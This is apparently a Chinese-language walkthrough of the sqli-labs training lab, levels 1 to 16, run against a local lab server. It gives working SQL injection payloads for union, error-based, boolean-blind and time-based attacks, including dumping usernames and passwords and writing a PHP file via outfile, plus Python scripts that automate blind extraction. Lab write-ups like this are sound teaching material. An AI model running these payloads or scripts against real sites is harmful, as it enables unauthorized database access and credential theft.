less1
首先先尝试单引号闭合
发现有报错,应该有注入点
可以继续用1=1试试
?id=1'and 1=1 --+
回显正常,可以猜字段了
?id=1'order by 4--+
3回显正常,4报错,直接联合查询
?id=1'union select 1,2,3--+
回显正常,应该是id=1正常回显了,payload并没有回显,只要让前面的不回显就好了,改为id=-1
?id=-1'union select 1,2,3--+
发现回显位,直接爆库名
?id=-1'union select 1,user(),database()--+
通过mysql默认库爆表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +
爆数据
?id=-1' union select 1,2,group_concat(username ,0x7e, password) from users--+
less2
这关是数字型注入单引号都不用闭合
[<http://192.168.88.135/sqllab/sqlmaster/Less-2/?id=1>](<http://192.168.88.135/sqllab/sqlmaster/Less-3/?id=1>) and 1=2--+
剩余解法与第一关相同
less3
这一关在闭合语句的时候用到了括号
<http://192.168.88.135/sqllab/sqlmaster/Less-3/?id=1>')and 1=2--+
剩余解法与第一关相同
less4
这关使用了双引号加括号用来闭合语句
<http://192.168.88.135/sqllab/sqlmaster/Less-4/?id=1>") and 1=2--+
less5
这里报错并没有回显
http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=1'and 1=2--+
可以尝试报错注入
http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=-1'union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
less6
双引号闭合,和less5一样,报错注入
[<http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=-1>"union](<http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=-1%27union>) select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
less7
双引号闭合,根据提示要用到outfile,基本上实战无法完成,原因有三:
- outfile的作用为导出,依靠这个参数,但这个参数为none不让你导出,除非对方项目有需求进行过更改不然此漏洞无法生效,还有一个重要的点,我们压根不知道对方的网站物理路径
- secure_file_priv=必须为空ini文件
- 修改ini文件就要root权限,有root权限我们为什么还要破漏洞?
?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile "E:\\\\PHP\\\\phpan\\\\phpstudy_pro\\\\Extensions\\\\MySQL5.5.29"--+
less8
但是和上一关一样,没有回显,尝试报错注入还是没有回显,应该是函数被过滤
语句正确是ur in ……,语句不正确没有回显,考虑布尔盲注
我们知道s的ASCII值为115,那我们就可以输入判断真假
<http://192.168.88.135/sqllab/sqlmaster/Less-8/?id=1>' and ascii(substr(database(),1,1))>100--+
那我们就可以一点一点去猜,从第一个字段往后,但是耗时耗力 ,于是用python写个脚本
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
params = {"id":payload}
r = requests.get(url, params=params)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = '<http://192.168.88.135/sqllab/sqlmaster/Less-8/index.php>'
inject_database(url)
爆出数据库名
less9
和less8一样,但是对错都没有区别了,可以试试时间盲注,利用python脚本
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(),%d,1))>%d, sleep(2), 0)-- " % (i, mid)
params = {"id":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-9/index.php'
inject_database(url)
less10
和第九关一样,只不过闭合变成双引号了
less11
提交方式变了,变为post提交,步骤与第一关相同
less12
闭合方式变为括号,和上一关没区别
less13
闭合方式变为单引号加括号,和上一关没区别
less14
闭合方式变为双音号,和上一关没区别
less15
没有回显数据,报错注入也不行,考虑盲注
成功的语句
admin1*' and ascii(substr(database(),1,1))>100#*
失败的语句
admin1*' and ascii(substr(database(),1,1))>120#*
利用脚本
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data = {
"uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
"passwd" : 'aaaaaaa'
}
r = requests.post(url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://192.168.88.135/sqllab/sqlmaster/Less-15//index.php'
inject_database(url)
less16
闭合方式改变,变为”),其余和less15一样